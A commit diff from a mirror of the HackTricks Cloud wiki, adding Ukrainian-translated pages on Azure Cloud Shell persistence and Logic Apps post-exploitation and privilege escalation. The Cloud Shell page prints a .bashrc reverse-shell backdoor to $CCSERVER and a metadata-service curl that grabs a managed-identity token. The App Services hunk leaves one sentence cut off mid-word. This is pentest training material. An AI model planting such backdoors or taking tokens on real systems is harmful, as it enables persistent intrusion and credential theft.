mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -409,6 +409,7 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
@@ -452,6 +453,7 @@
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
@@ -471,6 +473,7 @@
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
@@ -480,6 +483,7 @@
|
||||
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# Az - Cloud Shell Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell пропонує доступ до командного рядка для управління ресурсами Azure з постійним зберіганням та автоматичною аутентифікацією. Зловмисники можуть скористатися цим, розміщуючи бекдори в постійній домашній директорії:
|
||||
|
||||
* **Постійне зберігання**: Домашня директорія Azure Cloud Shell монтується на файловому сховищі Azure і залишається незмінною навіть після завершення сеансу.
|
||||
* **Скрипти запуску**: Файли, такі як .bashrc, виконуються автоматично на початку кожного сеансу, що дозволяє забезпечити постійне виконання при запуску хмарного терміналу.
|
||||
|
||||
Приклад бекдору в .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ця задня дверцята може виконувати команди навіть через 5 хвилин після завершення роботи користувачем хмарної оболонки.
|
||||
|
||||
Додатково запитуйте службу метаданих Azure для отримання деталей екземпляра та токенів:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,181 @@
|
||||
# Az - Logic Apps Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Database Post Exploitation
|
||||
Для отримання додаткової інформації про логічні програми дивіться:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
З цими дозволами ви можете змінювати робочі процеси Logic App і керувати їхніми ідентичностями. Зокрема, ви можете призначати або видаляти системно-призначені та користувацькі призначені керовані ідентичності для робочих процесів, що дозволяє Logic App аутентифікуватися та отримувати доступ до інших ресурсів Azure без явних облікових даних.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусової перевірки HTTPS.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
З цією дозволом ви можете запускати/зупиняти/перезапускати веб-додаток, включаючи Logic Apps, розміщені на App Service Plan. Ця дія забезпечує, що раніше зупинений додаток знову запускається і відновлює свою функціональність. Це може порушити робочі процеси, викликати непередбачені операції або призвести до простою, несподівано запускаючи, зупиняючи або перезапускаючи Logic Apps.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
З цією дозволом ви можете налаштовувати або змінювати параметри веб-додатків, включаючи Logic Apps, розміщені на App Service Plan. Це дозволяє вносити зміни в налаштування додатків, рядки підключення, конфігурації автентифікації та інше.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
З цією дозволом ви можете створювати, оновлювати або видаляти облікові записи інтеграції Azure Logic Apps. Це включає управління конфігураціями на рівні облікового запису інтеграції, такими як карти, схеми, партнери, угоди та інше.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <integration_account_name> \
|
||||
--location <location> \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
|
||||
З цією дозволом ви можете створювати або змінювати конфігурації пакетів у обліковому записі інтеграції Azure Logic Apps. Конфігурації пакетів визначають, як Logic Apps обробляють і групують вхідні повідомлення для пакетної обробки.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <batch_configuration_name> \
|
||||
--release-criteria '{
|
||||
"messageCount": 100,
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
З цією дозволом ви можете створювати або змінювати карти в обліковому записі інтеграції Azure Logic Apps. Карти використовуються для перетворення даних з одного формату в інший, що забезпечує безперебійну інтеграцію між різними системами та додатками.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <map_name> \
|
||||
--map-type <Xslt|Xslt20|Xslt30> \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <partner_name> \
|
||||
--partner-type <partner-type> \
|
||||
--content '{
|
||||
"b2b": {
|
||||
"businessIdentities": [
|
||||
{
|
||||
"qualifier": "ZZ",
|
||||
"value": "TradingPartner1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
З цією дозволом ви можете створювати або змінювати сесії в обліковому записі інтеграції Azure Logic Apps. Сесії використовуються в B2B робочих процесах для групування повідомлень та відстеження пов'язаних транзакцій протягом визначеного періоду.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <session_name> \
|
||||
--content '{
|
||||
"properties": {
|
||||
"sessionId": "session123",
|
||||
"data": {
|
||||
"key1": "value1",
|
||||
"key2": "value2"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
З цими правами ви можете видаляти ресурси, пов'язані з Azure Logic Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,77 @@
|
||||
# Az - Logic Apps Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Privesc
|
||||
Для отримання додаткової інформації про SQL Database перевірте:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
|
||||
З цією дозволом ви можете створювати або оновлювати робочі процеси Azure Logic Apps. Робочі процеси визначають автоматизовані процеси та інтеграції між різними системами та сервісами.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <workflow_name> \
|
||||
--definition <workflow_definition_file.json> \
|
||||
--location <location>
|
||||
|
||||
az logic workflow update \
|
||||
--name my-new-workflow \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
І після зміни ви можете запустити його за допомогою:
|
||||
```bash
|
||||
az rest \
|
||||
--method post \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
З цими дозволами ви можете розгортати робочі процеси Logic App, використовуючи розгортання ZIP-файлів. Ці дозволи дозволяють виконувати такі дії, як читання деталей програми, доступ до облікових даних публікації, внесення змін і перерахування конфігурацій програми. Разом із дозволами на запуск ви можете оновити та розгорнути новий Logic App з бажаним вмістом
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -13,7 +13,7 @@ Azure App Services дозволяє розробникам **створюват
|
||||
- Ізольовані тарифи працюють на **присвячених ВМ у присвячених віртуальних мережах**, що покращує ізоляцію додатків.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **жодна** з цих ізоляцій **не запобігає** іншим загальним **веб-вразливостям** (таким як завантаження файлів або ін'єкції). І якщо використовується **ідентифікатор управління**, він може **підвищити привілеї до них**.
|
||||
> Зверніть увагу, що **жодна** з цих ізоляцій **не запобігає** іншим загальним **веб-вразливостям** (таким як завантаження файлів або ін'єкції). І якщо використовується **ідентифікатор управління**, він може мати можливість **підвищити привілеї до них**.
|
||||
|
||||
Додатки мають деякі цікаві конфігурації:
|
||||
|
||||
@@ -21,80 +21,14 @@ Azure App Services дозволяє розробникам **створюват
|
||||
- Це необхідно, якщо у вас є вебробота, яка повинна працювати безперервно, оскільки вебробота зупиниться, якщо додаток зупиниться.
|
||||
- **SSH**: Якщо ввімкнено, користувач з достатніми правами може підключитися до додатка за допомогою SSH.
|
||||
- **Debugging**: Якщо ввімкнено, користувач з достатніми правами може налагоджувати додаток. Однак це автоматично вимикається кожні 48 годин.
|
||||
- **Веб-додаток + База даних**: Веб-консоль дозволяє створити додаток з базою даних. У цьому випадку можна вибрати базу даних для використання (SQLAzure, PostgreSQL, MySQL, MongoDB), а також створити Azure Cache для Redis.
|
||||
- **Web App + Database**: Веб-консоль дозволяє створити додаток з базою даних. У цьому випадку можна вибрати базу даних для використання (SQLAzure, PostgreSQL, MySQL, MongoDB), а також створити Azure Cache для Redis.
|
||||
- URL, що містить облікові дані для бази даних та Redis, буде зберігатися в **appsettings**.
|
||||
- **Контейнер**: Можна розгорнути контейнер в App Service, вказавши URL контейнера та облікові дані для доступу до нього.
|
||||
- **Монтажі**: Можна створити 5 монтажів з облікових записів зберігання, які є Azure Blob (тільки для читання) або Azure Files. Конфігурація зберігатиме ключ доступу над обліковим записом зберігання.
|
||||
- **Container**: Можна розгорнути контейнер в App Service, вказавши URL контейнера та облікові дані для доступу до нього.
|
||||
- **Mounts**: Можна створити 5 монтувань з облікових записів зберігання, які є Azure Blob (тільки для читання) або Azure Files. Конфігурація зберігатиме ключ доступу над обліковим записом зберігання.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
При створенні веб-додатка (а також Azure функції зазвичай) можна вказати, чи хочете ви, щоб **базова аутентифікація була ввімкнена** (за замовчуванням вимкнена). Це в основному **включає SCM (менеджер контролю версій) та FTP (протокол передачі файлів)** для програми, тому буде можливим розгорнути програму, використовуючи ці технології.
|
||||
|
||||
Для доступу до серверів SCM та FTP потрібні **ім'я користувача та пароль**. Тому Azure надає деякі **API для отримання URL** до цих платформ та облікових даних.
|
||||
|
||||
**FTP сервер не має жодної особливої магії**, просто з дійсним URL, ім'ям користувача та паролем можна підключитися та отримати права на читання та запис у середовищі програми.
|
||||
|
||||
SCM
|
||||
Можна підключитися до SCM, використовуючи веб-браузер за адресою `https://<SMC-URL>/BasicAuth` та перевірити всі файли та розгортання там.
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu - це платформа, яка **керує як SCM, так і веб-інтерфейсом API** для управління App Service, і надає можливості розгортання на основі Git, віддаленого налагодження та управління файлами. Доступ до неї здійснюється через URL SCM, визначений у веб-додатку.
|
||||
|
||||
Зверніть увагу, що версії Kudu, які використовуються App Services та Function Apps, різні, причому версія Function Apps значно обмежена.
|
||||
|
||||
Деякі цікаві кінцеві точки, які ви можете знайти в Kudu, це:
|
||||
- `/BasicAuth`: Вам потрібно отримати доступ до цього шляху, щоб **увійти в Kudu**.
|
||||
- `/DebugConsole`: Консоль, яка дозволяє виконувати команди в середовищі, де працює Kudu.
|
||||
- Зверніть увагу, що це середовище **не має доступу** до служби метаданих для отримання токенів.
|
||||
- `/webssh/host`: Веб-клієнт SSH, який дозволяє підключитися всередину контейнера, де працює додаток.
|
||||
- Це середовище **має доступ до служби метаданих** для отримання токенів від призначених керованих ідентичностей.
|
||||
- `/Env`: Отримати інформацію про систему, налаштування програми, змінні середовища, рядки підключення та HTTP заголовки.
|
||||
- `/wwwroot/`: Коренева директорія веб-додатка. Ви можете завантажити всі файли звідси.
|
||||
|
||||
Більше того, Kudu раніше був з відкритим кодом на [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), але проект був застарілий, і порівнюючи поведінку поточного Kudu в Azure з старим, можна побачити, що **декілька речей вже змінилися**.
|
||||
|
||||
## Sources
|
||||
|
||||
App Services дозволяють завантажувати код у вигляді zip-файлу за замовчуванням, але також дозволяють підключатися до стороннього сервісу та отримувати код звідти.
|
||||
|
||||
- Наразі підтримувані сторонні джерела - це **Github** та **Bitbucket**.
|
||||
- Ви можете отримати токени аутентифікації, запустивши `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure за замовчуванням налаштує **Github Action** для розгортання коду в App Service щоразу, коли код оновлюється.
|
||||
- Також можливо вказати **віддалений git-репозиторій** (з ім'ям користувача та паролем), щоб отримати код звідти.
|
||||
- Ви можете отримати облікові дані для віддаленого репозиторію, запустивши `az webapp deployment source show --name <app-name> --resource-group <res-group>` або `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Також можливо використовувати **Azure Repository**.
|
||||
- Також можливо налаштувати **локальний git-репозиторій**.
|
||||
- Ви можете отримати URL git-репозиторію за допомогою `az webapp deployment source show --name <app-name> --resource-group <res-group>` і це буде SCM URL додатка.
|
||||
- Щоб клонувати його, вам знадобляться облікові дані SCM, які ви можете отримати за допомогою `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs - це **фонові завдання, які працюють у середовищі Azure App Service**. Вони дозволяють розробникам виконувати скрипти або програми разом з їх веб-додатками, що полегшує обробку асинхронних або трудомістких операцій, таких як обробка файлів, обробка даних або заплановані завдання.
|
||||
Існує 2 типи вебробіт:
|
||||
- **Безперервні**: Працюють безперервно в циклі і запускаються, щойно створюються. Вони ідеальні для завдань, які потребують постійної обробки. Однак, якщо додаток перестане працювати, оскільки Always On вимкнено і не отримав запит за останні 20 хвилин, вебробота також зупиниться.
|
||||
- **Запущені**: Працюють за запитом або за розкладом. Вони найкраще підходять для періодичних завдань, таких як пакетні оновлення даних або рутинні обслуговування.
|
||||
|
||||
Webjobs є дуже цікавими з точки зору атакуючого, оскільки їх можна використовувати для **виконання коду** в середовищі та **підвищення привілеїв** до прикріплених керованих ідентичностей.
|
||||
|
||||
Більше того, завжди цікаво перевіряти **журнали**, згенеровані Webjobs, оскільки вони можуть містити **чутливу інформацію**.
|
||||
|
||||
## Slots
|
||||
|
||||
Слоти Azure App Service використовуються для **розгортання різних версій програми** в одному й тому ж App Service. Це дозволяє розробникам тестувати нові функції або зміни в окремому середовищі перед їх розгортанням у виробничому середовищі.
|
||||
|
||||
Більше того, можливо направити **відсоток трафіку** на конкретний слот, що корисно для A/B тестування та для **задніх дверей**.
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
В основному **Azure Function apps є підмножиною Azure App Service** у веб-консолі, і якщо ви перейдете до веб-консолі та перелікуєте всі служби додатків або виконаєте `az webapp list` в az cli, ви зможете **побачити, що функціональні програми також перераховані там**.
|
||||
|
||||
Отже, обидва сервіси насправді мають в основному **однакові конфігурації, функції та опції в az cli**, хоча вони можуть налаштовувати їх трохи по-різному (наприклад, значення за замовчуванням appsettings або використання облікового запису зберігання в функціональних програмах).
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
При створенні веб-додатку (а також Azure функції зазвичай) можна вказати, чи хочете ви, щоб **базова аутентифікація була ввімкнена** (за замовчуванням вим
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
@@ -181,10 +115,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
